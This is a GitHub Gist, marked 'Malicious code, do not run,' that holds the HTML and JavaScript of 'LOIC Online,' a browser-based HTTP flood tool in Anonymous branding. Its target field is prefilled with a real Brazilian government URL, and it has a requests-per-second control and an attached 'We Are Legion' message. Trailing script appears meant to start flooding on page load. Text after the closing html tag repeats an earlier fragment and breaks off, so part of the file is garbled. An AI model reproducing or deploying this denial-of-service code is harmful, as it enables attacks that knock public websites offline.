Created
July 4, 2016 06:49
-
-
Save matdombrock/a86892fbfd84d0978314689acb61ccd1 to your computer and use it in GitHub Desktop.
Malicious code, do not run.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>LOIC'Online v0.1</title> | |
| <!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> --> | |
| </head> | |
| <center><h1>LOIC Online Anonymous'Edition</h1></center> | |
| <body style="background-color:black; color:#FFFFFF;"> | |
| <div style="position:absolute; width:100%; height:100%;"> | |
| <div style="width:490px; height:326px; position:absolute;"> | |
| <img alt="LOIC"src="http://www.calgarc.com/images/loop.png" /> | |
| </div> | |
| <div style="width:240px; height:100px; position:absolute;left:500px;"> | |
| <fieldset style="width:100%; height:100%;"> | |
| <legend>Step 1. Select your target:</legend> | |
| <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.granderecife.pe.gov.br/principal.asp" /></label> <!-- disabled="true" --> | |
| <small>Ex : http://fbi.gov</small> | |
| </fieldset> | |
| </div> | |
| <div style="width:240px; height:100px; position:absolute; left:780px;"> | |
| <fieldset style="width:100%; height:100%;"> | |
| <legend>Step 2. Ready?</legend> | |
| <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button> | |
| </fieldset> | |
| </div> | |
| <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;"> | |
| <fieldset style="width:100%; height:100%;"> | |
| <legend>Optional. Options</legend> | |
| <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br /> | |
| <label>Append message : <br /><input style="width:100%;" id="message" value="We Are Legion" /></label> | |
| </fieldset> | |
| </div> | |
| <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;"> | |
| <fieldset style="width:100%; height:100%;"> | |
| <legend>Attack status:</legend> | |
| <dl> | |
| <dt>Requested:</dt> | |
| <dd id="requestedCtr">0</dd> | |
| <dt style="opacity: 0.5; color: green;">Request OK :</dt> | |
| <dd style="opacity: 0.5" id="succeededCtr">0</dd> | |
| <dt style="opacity: 0.5; color: red;">Request failed :</dt> | |
| <dd style="opacity: 0.5" id="failedCtr">0</dd> | |
| </dl> | |
| </fieldset> | |
| </div> | |
| </div> | |
| <script> | |
| (function () { | |
| var fireInterval; | |
| var isFiring = false; | |
| var requestedCtrNode = document.getElementById("requestedCtr"), | |
| succeededCtrNode = document.getElementById("succeededCtr"), | |
| failedCtrNode = document.getElementById("failedCtr"), | |
| targetURLNode = document.getElementById("targetURL"), | |
| fireButton = document.getElementById("fireButton"), | |
| messageNode = document.getElementById("message"), | |
| rpsNode = document.getElementById("rps"), | |
| timeoutNode = document.getElementById("timeout"); | |
| var targetURL = targetURLNode.value; | |
| targetURLNode.onchange = function () { | |
| targetURL = this.value; | |
| }; | |
| var requestsHT = {}; // requests hash table, may come in handy later | |
| var requestedCtr = 0, | |
| succeededCtr = 0, | |
| failedCtr = 0; | |
| var makeHttpRequest = function () { | |
| if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests | |
| return; | |
| }; | |
| var rID =Number(new Date()); | |
| var img = new Image(); | |
| img.onerror = function () { onFail(rID); }; | |
| img.onabort = function () { onFail(rID); }; | |
| img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods | |
| img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); | |
| requestsHT[rID] = img; | |
| onRequest(rID); | |
| }; | |
| var onRequest = function (rID) { | |
| requestedCtr++; | |
| requestedCtrNode.innerHTML = requestedCtr; | |
| }; | |
| var onComplete = function (rID) { | |
| delete requestsHT[rID]; | |
| }; | |
| var onFail = function (rID) { | |
| // failedCtr++; | |
| //failedCtrNode.innerHTML = failedCtr; | |
| succeededCtr++; //Seems like the url will always fail it it isn't an image | |
| succeededCtrNode.innerHTML = succeededCtr; | |
| delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser | |
| }; | |
| var onSuccess = function (rID) { | |
| succeededCtr++; | |
| succeededCtrNode.innerHTML = succeededCtr; | |
| delete requestsHT[rID]; | |
| }; | |
| fireButton.onclick = function () { | |
| if (isFiring) { | |
| clearInterval(fireInterval); | |
| isFiring = false; | |
| this.innerHTML = "START"; | |
| } else { | |
| isFiring = true; | |
| this.innerHTML = "Stop flooding"; | |
| fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); | |
| } | |
| }; | |
| })(); | |
| isFiring = true; | |
| document.getElementById("fireButton").innerHTML = "Stop flooding"; | |
| fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0)); | |
| </script> | |
| </body> | |
| </html>; // we can't keep it forever or it would blow up the browser | |
| }; | |
| var onSuccess = function (rID) { | |
| succeededCtr++; | |
| succeededCtrNo |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment